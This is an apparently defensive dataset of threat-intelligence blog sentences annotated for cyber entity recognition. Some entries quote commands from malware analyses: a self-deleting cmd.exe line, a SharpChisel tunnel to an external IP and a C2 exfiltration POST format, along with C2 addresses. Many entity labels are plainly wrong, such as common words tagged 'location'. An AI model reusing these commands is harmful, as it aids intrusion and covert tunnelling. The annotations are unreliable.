{"id":1085,"text":" This blog was sourced from the data generated by the WildFire Analytics cloud, which processes thousands of samples a day and provides insights into various characteristics and behaviors of malware worldwide.","entities":[{"id":46564,"label":"SOFTWARE","start_offset":54,"end_offset":78}],"relations":[],"Comments":[]}
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{"id":6087,"text":"At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.","entities":[{"id":18787,"label":"location","start_offset":7,"end_offset":11},{"id":18788,"label":"malware","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
{"id":77,"text":"Using these as our guide, we can make sense of where we are today, how we got here, and be prepared for what has yet to develop in the future.","entities":[],"relations":[],"Comments":[]}
{"id":241,"text":"These donation websites provide little to no information about the associated organization and distribution of funds.","entities":[],"relations":[],"Comments":[]}
{"id":4362,"text":"Despite the variety of lures used by the threat actor, best security practices still apply to these attacks.","entities":[],"relations":[],"Comments":[]}
{"id":2359,"text":"It also has several components, some of which appear to be configured as modules.","entities":[],"relations":[],"Comments":[]}
{"id":13597,"text":"The script for uploading and installing the malicious plugin, \u201cMakePlugin.tar.gz\u201d      Figure 9.","entities":[{"id":51685,"label":"FILEPATH","start_offset":63,"end_offset":80}],"relations":[],"Comments":[]}
{"id":6960,"text":"Below is a list of backdoor commands that this particular ObliqueRAT malware variant can perform:  Command (v5.2)  Info  0  System information  ","entities":[{"id":21789,"label":"location","start_offset":11,"end_offset":15},{"id":21790,"label":"malware","start_offset":58,"end_offset":68},{"id":21791,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
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{"id":2907,"text":"All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.","entities":[],"relations":[],"Comments":[]}
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{"id":205,"text":"However, at this time, attribution for the ongoing attacks has not been established.","entities":[],"relations":[],"Comments":[]}
{"id":2209,"text":"The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.","entities":[],"relations":[],"Comments":[]}
{"id":7786,"text":"The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.","entities":[{"id":24114,"label":"malware","start_offset":44,"end_offset":55},{"id":24115,"label":"location","start_offset":121,"end_offset":124},{"id":24116,"label":"malware","start_offset":134,"end_offset":145}],"relations":[],"Comments":[]}
{"id":4800,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50702,"label":"location","start_offset":62,"end_offset":69},{"id":50703,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50704,"label":"location","start_offset":153,"end_offset":160},{"id":50701,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":986,"from_id":50701,"to_id":50702,"type":"targets"}],"Comments":[]}
{"id":10950,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":33300,"label":"location","start_offset":21,"end_offset":24},{"id":33301,"label":"location","start_offset":25,"end_offset":33},{"id":33302,"label":"location","start_offset":68,"end_offset":71},{"id":33303,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":33305,"label":"location","start_offset":138,"end_offset":141},{"id":33307,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
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{"id":10379,"text":"We discovered a potential targeted attack that makes use of legitimate script engine AutoHotkey, in combination with malicious script files.","entities":[],"relations":[],"Comments":[]}
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{"id":12043,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":37265,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
{"id":8843,"text":"Reversing the file revealed that it was the PlugX loader, a remote access tool (RAT) that has been historically used in attacks targeting government-related industries and organizations.","entities":[{"id":27380,"label":"malware","start_offset":44,"end_offset":49},{"id":27381,"label":"location","start_offset":60,"end_offset":66},{"id":27382,"label":"location","start_offset":74,"end_offset":78},{"id":27383,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
{"id":83,"text":"Many users realize their system is infected with coin mining malware when their laptop fans kick into high-speed mode to keep the overtaxed CPU cool.","entities":[],"relations":[],"Comments":[]}
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{"id":5983,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":18414,"label":"location","start_offset":5,"end_offset":13},{"id":18417,"label":"attack-pattern","start_offset":129,"end_offset":137},{"id":18418,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]}
{"id":7794,"text":"Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp:\/\/www.fedexdocs[.]top\/fedex.doc or hxxp:\/\/www.fedexdocs[.]icu\/fedex.doc.","entities":[{"id":24142,"label":"location","start_offset":61,"end_offset":68},{"id":24143,"label":"threat-actor","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
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{"id":605,"text":" They\u2019ve done this by moving the Hancitor malware from being a malicious attachment in spam to itself being a malicious download.","entities":[{"id":46201,"label":"malware","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
{"id":3864,"text":"Popup message when the user opens the document that abuses Link Auto Update Koadic sends its own JavaScript code as plain text.","entities":[{"id":49725,"label":"malware","start_offset":76,"end_offset":82}],"relations":[],"Comments":[]}
{"id":10652,"text":"As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising.","entities":[{"id":32519,"label":"attack-pattern","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
{"id":11025,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":33618,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":3922,"text":"When simplified, the malicious script looks like this, with the eval being the executor and the Request.Form acquiring the parameter to be executed:","entities":[],"relations":[],"Comments":[]}
{"id":5946,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
{"id":2419,"text":" When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache.","entities":[{"id":47494,"label":"SOFTWARE","start_offset":99,"end_offset":115}],"relations":[],"Comments":[]}
{"id":7257,"text":"If you have communicated with any of these accounts or visited the actors\u2019 blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
{"id":7254,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
{"id":4307,"text":"        Tags  APT & Targeted Attacks | Endpoints | Research | Network","entities":[],"relations":[],"Comments":[]}
{"id":630,"text":"AutoFocus users view samples using the Petya tag.","entities":[{"id":2102,"label":"malware","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
{"id":2312,"text":"While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.","entities":[{"id":47376,"label":"SOFTWARE","start_offset":85,"end_offset":105},{"id":47377,"label":"SOFTWARE","start_offset":109,"end_offset":125},{"id":47378,"label":"SOFTWARE","start_offset":233,"end_offset":239},{"id":47379,"label":"SOFTWARE","start_offset":318,"end_offset":326}],"relations":[],"Comments":[]}
{"id":2871,"text":"Attackers can manipulate memory allocations by using JavaScript to allocate an object that is freed before all references to that object are removed.","entities":[],"relations":[],"Comments":[]}
{"id":13584,"text":"The first method is uploading a PHP web shell file by calling the native API provided by the framework.","entities":[{"id":42347,"label":"attack-pattern","start_offset":36,"end_offset":45}],"relations":[],"Comments":[]}
{"id":5997,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone\u2019s focus on this region.","entities":[{"id":18476,"label":"location","start_offset":9,"end_offset":12},{"id":18478,"label":"location","start_offset":61,"end_offset":64},{"id":18480,"label":"identity","start_offset":91,"end_offset":95},{"id":18481,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]}
{"id":9593,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":29396,"label":"location","start_offset":0,"end_offset":4},{"id":29397,"label":"URL","start_offset":5,"end_offset":44},{"id":29399,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
{"id":14204,"text":"GitHub is no stranger to misuse, however.","entities":[],"relations":[],"Comments":[]}
{"id":3449,"text":" Table 1. Commands observed in CVE-2022-1388 exploitation attempts.","entities":[{"id":49222,"label":"vulnerability","start_offset":31,"end_offset":44}],"relations":[],"Comments":[]}
{"id":12638,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":12212,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":10262,"text":"          Figures 2-3.","entities":[],"relations":[],"Comments":[]}
{"id":3017,"text":"And many of these devices feature mute buttons that can functionally turn them off when you don\u2019t need them.","entities":[],"relations":[],"Comments":[]}
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{"id":4165,"text":"Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.","entities":[{"id":49970,"label":"threat-actor","start_offset":53,"end_offset":66},{"id":49971,"label":"location","start_offset":79,"end_offset":102}],"relations":[{"id":894,"from_id":49970,"to_id":49971,"type":"located-at"}],"Comments":[]}
{"id":11968,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":12067,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":37348,"label":"location","start_offset":30,"end_offset":34},{"id":37349,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
{"id":3123,"text":"Here we explain this type of attack and what you should do.","entities":[],"relations":[],"Comments":[]}
{"id":841,"text":"Because of this, attacks against the kernel are used to gain complete control over a system, generally as part of an \u201celevation or privilege\u201d (EoP) or \u201cprivilege escalation\u201d attack.","entities":[{"id":2756,"label":"attack-pattern","start_offset":152,"end_offset":172},{"id":46393,"label":"attack-pattern","start_offset":118,"end_offset":140}],"relations":[],"Comments":[]}
{"id":5695,"text":"     Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":4507,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":50307,"label":"identity","start_offset":3,"end_offset":8},{"id":50308,"label":"identity","start_offset":31,"end_offset":36},{"id":50309,"label":"attack-pattern","start_offset":69,"end_offset":77},{"id":50311,"label":"attack-pattern","start_offset":93,"end_offset":97},{"id":50310,"label":"attack-pattern","start_offset":79,"end_offset":87}],"relations":[],"Comments":[]}
{"id":4530,"text":"APP has a strong track record protecting users \u2013 since the program\u2019s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":50326,"label":"attack-pattern","start_offset":116,"end_offset":147}],"relations":[],"Comments":[]}
{"id":2381,"text":"After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.","entities":[{"id":7081,"label":"attack-pattern","start_offset":55,"end_offset":72},{"id":47444,"label":"malware","start_offset":32,"end_offset":45}],"relations":[{"id":325,"from_id":47444,"to_id":7081,"type":"uses"}],"Comments":[]}
{"id":5746,"text":"The Cambridge Analytica scandal continues to haunt Facebook.","entities":[],"relations":[],"Comments":[]}
{"id":9665,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]}
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{"id":10503,"text":"Today, we\u2019re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":31940,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":31941,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
{"id":5094,"text":"If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.","entities":[{"id":51196,"label":"SOFTWARE","start_offset":72,"end_offset":78},{"id":51197,"label":"attack-pattern","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":757,"text":"In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.","entities":[{"id":46345,"label":"SOFTWARE","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
{"id":5511,"text":"The $228m penalty levied by the UK\u2019s privacy watchdog reflects the seriousness of the attack and the carrier\u2019s failure to protect its customer\u2019s personal and financial information.","entities":[{"id":51522,"label":"identity","start_offset":32,"end_offset":53}],"relations":[],"Comments":[]}
{"id":1334,"text":"This registry key ensures that the malware will persist across reboots when the current user logs in.","entities":[],"relations":[],"Comments":[]}
{"id":8049,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":24974,"label":"location","start_offset":83,"end_offset":86},{"id":24975,"label":"location","start_offset":126,"end_offset":129},{"id":24976,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":24977,"label":"location","start_offset":168,"end_offset":173},{"id":24978,"label":"location","start_offset":177,"end_offset":181},{"id":24979,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
{"id":5005,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":51061,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":2887,"text":"If we go back and examine the exploit code for CVE-2013-3163, we see that the string \u2018org\u2019 was originally used as the trigger, and the variable \u2018found\u2019 was originally used as a flag indicating if the Vector object was modified.","entities":[{"id":48083,"label":"vulnerability","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
{"id":13970,"text":"Today\u2019s Challenge","entities":[],"relations":[],"Comments":[]}
{"id":2824,"text":"Figure 1 Ransom note for WanaCrypt0r  ","entities":[{"id":8627,"label":"tools","start_offset":25,"end_offset":36}],"relations":[],"Comments":[]}
{"id":4083,"text":"We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT.","entities":[{"id":49919,"label":"malware","start_offset":78,"end_offset":88},{"id":49918,"label":"malware","start_offset":19,"end_offset":29}],"relations":[],"Comments":[]}
{"id":9445,"text":"Stage 2: Dropper","entities":[],"relations":[],"Comments":[]}
{"id":1792,"text":"The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with \u201cnull\u201d parameters to run a crafted Java class\/code.","entities":[{"id":46924,"label":"FILEPATH","start_offset":75,"end_offset":83},{"id":46923,"label":"FILEPATH","start_offset":99,"end_offset":110}],"relations":[],"Comments":[]}
{"id":1385,"text":"The in-memory payload (Tbopbh.jpg) is running within the context of the InstallUtil.exe process  9. Multiple instances of cmd.exe calling Ping.exe to delete file InstallUtil.exe, e.g. cmd.exe \/min \/C ping 111.111.111[.]111 -n 5 -w 10 > Nul & Del \/f \/q %TEMP%\\InstallUtil.exe  10. File AdvancedRun.exe is deleted from the C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory by the stage2.exe binary.  11. ICMP traffic to host: 111.111.111[.]111  12.","entities":[{"id":4149,"label":"malware","start_offset":122,"end_offset":129},{"id":4150,"label":"malware","start_offset":184,"end_offset":191},{"id":4151,"label":"tools","start_offset":200,"end_offset":204},{"id":4152,"label":"IPV4","start_offset":205,"end_offset":222},{"id":4154,"label":"IPV4","start_offset":423,"end_offset":440},{"id":46732,"label":"FILEPATH","start_offset":285,"end_offset":300},{"id":46730,"label":"FILEPATH","start_offset":23,"end_offset":33},{"id":46731,"label":"FILEPATH","start_offset":252,"end_offset":274},{"id":46733,"label":"FILEPATH","start_offset":321,"end_offset":387}],"relations":[],"Comments":[]}
{"id":5090,"text":"The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.","entities":[],"relations":[],"Comments":[]}
{"id":10720,"text":"Like many cyberespionage campaigns, REDBALDKNIGHT\u2019s attacks are intermittent but drawn-out.","entities":[{"id":32751,"label":"location","start_offset":5,"end_offset":9},{"id":32752,"label":"threat-actor","start_offset":36,"end_offset":49},{"id":32753,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
{"id":8102,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":8496,"text":"This blog has been revised to include new facts that have been released since the original posting.","entities":[],"relations":[],"Comments":[]}
{"id":5261,"text":"Versions of AnubisSpy posed as social news, promotional, healthcare, and entertainment apps.","entities":[{"id":51302,"label":"malware","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]}
{"id":4947,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[],"relations":[],"Comments":[]}
{"id":6975,"text":"We have been observing CapraRAT samples since 2017,  and one of the first samples we analyzed (SHA-256: d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42, detected by Trend Micro as as AndroidOS_Androrat.HRXD)","entities":[{"id":21848,"label":"malware","start_offset":23,"end_offset":31},{"id":21850,"label":"location","start_offset":53,"end_offset":56},{"id":21853,"label":"SHA2","start_offset":104,"end_offset":168}],"relations":[],"Comments":[]}
{"id":10081,"text":"What is Sunburst?","entities":[],"relations":[],"Comments":[]}
{"id":8775,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
{"id":8367,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":25746,"label":"IPV4","start_offset":4,"end_offset":18},{"id":25747,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":6475,"text":"Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999","entities":[{"id":20121,"label":"location","start_offset":74,"end_offset":78},{"id":20122,"label":"attack-pattern","start_offset":85,"end_offset":95}],"relations":[],"Comments":[]}
{"id":14391,"text":"The delivery and reconnaissance could involve multiple protocols, emails, payloads, files, and credentials.","entities":[],"relations":[],"Comments":[]}
{"id":14086,"text":"While analyzing one malware previously attributed to APT37, it executed practically the same command sequences including the paths and extensions.","entities":[{"id":48167,"label":"threat-actor","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
{"id":7366,"text":"The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.","entities":[],"relations":[],"Comments":[]}
{"id":9649,"text":" Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.","entities":[{"id":29523,"label":"location","start_offset":63,"end_offset":70},{"id":29524,"label":"identity","start_offset":88,"end_offset":91},{"id":29525,"label":"location","start_offset":92,"end_offset":96},{"id":29526,"label":"location","start_offset":136,"end_offset":139},{"id":29527,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]}
{"id":5886,"text":"Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.","entities":[{"id":18091,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":6635,"text":"They have also been observed using Google Drive for their C2 channel.","entities":[],"relations":[],"Comments":[]}
{"id":227,"text":"The webpage is imitating a popular cloud file storage site.","entities":[],"relations":[],"Comments":[]}
{"id":13149,"text":"We found that Tropic Trooper\u2019s latest activities center on targeting Taiwanese and the Philippine military\u2019s physically isolated networks through a USBferry attack (the name derived from a sample found in a related research).","entities":[{"id":48927,"label":"threat-actor","start_offset":14,"end_offset":28},{"id":48928,"label":"location","start_offset":69,"end_offset":79},{"id":48929,"label":"location","start_offset":87,"end_offset":98},{"id":48931,"label":"identity","start_offset":98,"end_offset":109},{"id":48930,"label":"malware","start_offset":148,"end_offset":163}],"relations":[{"id":500,"from_id":48931,"to_id":48929,"type":"located-at"},{"id":501,"from_id":48931,"to_id":48928,"type":"located-at"},{"id":503,"from_id":48927,"to_id":48930,"type":"uses"},{"id":502,"from_id":48927,"to_id":48931,"type":"targets"}],"Comments":[]}
{"id":3909,"text":"Threats such as this can be difficult to detect even with multiple security layers \u2014 especially if they are not consolidated.   In this blog, we will dissect a targeted attack that made use of the Chopper ASPX web shell (detected by Trend Micro as Backdoor.ASP.WEBSHELL.UWMANA).  Technical Analysis","entities":[{"id":49758,"label":"malware","start_offset":197,"end_offset":219},{"id":49759,"label":"malware","start_offset":248,"end_offset":276},{"id":49760,"label":"identity","start_offset":233,"end_offset":244}],"relations":[],"Comments":[]}
{"id":13167,"text":"  Figure 2. USBferry malware\u2019s first version, where the EXE file is the USBferry malware and the DLL file is trojan TROJ_YAHOYAH  ","entities":[{"id":41093,"label":"tools","start_offset":12,"end_offset":20},{"id":41095,"label":"malware","start_offset":72,"end_offset":80},{"id":41096,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
{"id":14326,"text":" Figure 16.","entities":[],"relations":[],"Comments":[]}
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{"id":7384,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":7637,"text":"But this attack sent an email with a .rar or .zip attachment.","entities":[],"relations":[],"Comments":[]}
{"id":10024,"text":"\u2014 HKTL_BROWSERPASSVIEW.GA  URLs related to the malicious update file:","entities":[],"relations":[],"Comments":[]}
{"id":5425,"text":" In the age of work-from-home (WFH) during the pandemic, it\u2019s possible that espionage is part of the reason that IoT devices are still major targets for advanced attackers.","entities":[],"relations":[],"Comments":[]}
{"id":4616,"text":"You can see the path and name of the web shell.","entities":[{"id":50523,"label":"attack-pattern","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
{"id":11799,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":36389,"label":"location","start_offset":30,"end_offset":34},{"id":36390,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
{"id":3172,"text":"It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data.","entities":[],"relations":[],"Comments":[]}
{"id":12481,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
{"id":7083,"text":"In the version that we\u2019ve analyzed, the installer writes the token in the registry key.","entities":[],"relations":[],"Comments":[]}
{"id":6219,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
{"id":7444,"text":"Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.","entities":[{"id":23146,"label":"attack-pattern","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
{"id":7169,"text":"Last month we tracked new scouting techniques coming from Andariel, which were used mainly against South Korean targets.","entities":[],"relations":[],"Comments":[]}
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{"id":926,"text":"In truth, this version has made a number of improvements, such as adding more file types to target, ignoring certain directories, and using a better encryption routine.","entities":[],"relations":[],"Comments":[]}
{"id":3084,"text":"In the past 48 hours, there has been a flurry of activity as hardware and software vendors move to address two sets of vulnerabilities that have been dubbed \u201cMeltdown\u201d and \u201cSpectre\u201d.","entities":[{"id":45764,"label":"vulnerability","start_offset":158,"end_offset":166},{"id":45765,"label":"vulnerability","start_offset":173,"end_offset":180},{"id":9420,"label":"TIME","start_offset":3,"end_offset":20}],"relations":[],"Comments":[]}
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{"id":6958,"text":"Malicious macro codes will download, decode, and execute the ObliqueRat malware     Figure 12 shows a summary of the ObliqueRat malware\u2019s infection chain:      Figure 12.","entities":[{"id":21782,"label":"location","start_offset":22,"end_offset":26},{"id":21783,"label":"location","start_offset":45,"end_offset":48},{"id":21784,"label":"malware","start_offset":61,"end_offset":71},{"id":21786,"label":"tools","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]}
{"id":2385,"text":"However, we have yet to retrieve and study one of these plug-ins.","entities":[],"relations":[],"Comments":[]}
{"id":14046,"text":"     Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":11679,"text":"Digging deeper, we found that it hosted several phishing pages.","entities":[{"id":35818,"label":"attack-pattern","start_offset":48,"end_offset":56}],"relations":[],"Comments":[]}
{"id":1657,"text":"Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.","entities":[{"id":4924,"label":"malware","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]}
{"id":14068,"text":"    What got our attention is that the samples were renamed to be similar to the naming convention of Windows update files (i.e., \u201cWindows-KB275122-x86.exe\u201d).","entities":[{"id":47264,"label":"FILEPATH","start_offset":131,"end_offset":155}],"relations":[],"Comments":[]}
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{"id":5512,"text":"However, this incident has repercussions way beyond the UK airline and its customers.","entities":[],"relations":[],"Comments":[]}
{"id":1251,"text":"used the AutoFocus threat intelligence service to identify a series of phishing attacks against Japanese organizations.","entities":[{"id":46627,"label":"SOFTWARE","start_offset":9,"end_offset":18},{"id":44949,"label":"identity","start_offset":96,"end_offset":118},{"id":44950,"label":"attack-pattern","start_offset":71,"end_offset":87}],"relations":[],"Comments":[]}
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{"id":153,"text":"Most importantly, because the ransomware is executing with the compromised user\u2019s privileges, any file the legitimate, now-compromised user has access to, including network shares and backups, is fair game for the ransomware.","entities":[{"id":44607,"label":"attack-pattern","start_offset":63,"end_offset":92}],"relations":[],"Comments":[]}
{"id":7461,"text":"These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well):  Google Defender Google Email Protection Google Scanner Delivery Service (Yahoo) McAfee Email protection (Yahoo)    For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.","entities":[{"id":23190,"label":"location","start_offset":6,"end_offset":9},{"id":23191,"label":"malware","start_offset":16,"end_offset":21},{"id":23192,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":23193,"label":"attack-pattern","start_offset":83,"end_offset":91},{"id":23194,"label":"location","start_offset":152,"end_offset":155},{"id":23195,"label":"location","start_offset":156,"end_offset":162},{"id":23196,"label":"threat-actor","start_offset":184,"end_offset":194},{"id":23197,"label":"location","start_offset":235,"end_offset":245},{"id":23198,"label":"identity","start_offset":286,"end_offset":292},{"id":23199,"label":"location","start_offset":299,"end_offset":309},{"id":23201,"label":"threat-actor","start_offset":348,"end_offset":358},{"id":23202,"label":"location","start_offset":360,"end_offset":365},{"id":23204,"label":"threat-actor","start_offset":406,"end_offset":416}],"relations":[],"Comments":[]}
{"id":5441,"text":"    Tags  APT & Targeted Attacks | IoT | Research | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
{"id":3627,"text":"Instead of using generalized themes or lures, spear phishing uses themes or lures that are in some way relevant or appropriate for the target recipient.","entities":[{"id":49411,"label":"attack-pattern","start_offset":46,"end_offset":60}],"relations":[],"Comments":[]}
{"id":5666,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":17455,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
{"id":4263,"text":"On the left, Confucius code, on the right, Patchwork\u2019s code","entities":[{"id":50058,"label":"threat-actor","start_offset":13,"end_offset":22},{"id":50059,"label":"threat-actor","start_offset":43,"end_offset":52}],"relations":[],"Comments":[]}
{"id":11370,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":34696,"label":"tools","start_offset":70,"end_offset":76},{"id":34697,"label":"location","start_offset":77,"end_offset":80},{"id":34698,"label":"location","start_offset":81,"end_offset":89},{"id":34699,"label":"location","start_offset":112,"end_offset":115},{"id":34700,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
{"id":4401,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
{"id":3019,"text":" 10. Use Smart Speakers Smartly:","entities":[],"relations":[],"Comments":[]}
{"id":10366,"text":"The first step is to be able to identify phishing attacks and distinguish legitimate emails from malicious ones.","entities":[{"id":31562,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":31563,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
{"id":835,"text":" Kernel APC attacks occur in a way that increases the \u201cstealth\u201d factor and makes standard detection and prevention very difficult.","entities":[{"id":46386,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
{"id":10622,"text":"In December 2017, TAG discovered a series of campaigns from Sandworm attempting to deploy Android malware.","entities":[],"relations":[],"Comments":[]}
{"id":3287,"text":"It takes a screenshot of the victim\u2019s screen with the tool and saves it as a PNG file with a random number as the file name.","entities":[],"relations":[],"Comments":[]}
{"id":3950,"text":"It allows an attacker to see all Windows sessions and can execute arbitrary commands on the session via session id.","entities":[],"relations":[],"Comments":[]}
{"id":5846,"text":"Think about something like that happening.","entities":[],"relations":[],"Comments":[]}
{"id":1258,"text":"This included altering the icon of the executable to appear as other file types (Figure 1) as well as decoy documents to trick users into thinking they had opened a legitimate file.","entities":[],"relations":[],"Comments":[]}
{"id":8289,"text":"This threat actor first published stolen documents in April 2016.","entities":[],"relations":[],"Comments":[]}
{"id":4764,"text":"By default, Gmail displays warnings and moves untrustworthy emails to the user\u2019s spam folder.","entities":[{"id":50670,"label":"SOFTWARE","start_offset":12,"end_offset":17}],"relations":[],"Comments":[]}
{"id":79,"text":"1. A marked increase in the price of Monero or other cryptocurrencies will draw even more attackers into this business.","entities":[{"id":45829,"label":"SOFTWARE","start_offset":37,"end_offset":43}],"relations":[],"Comments":[]}
{"id":3562,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
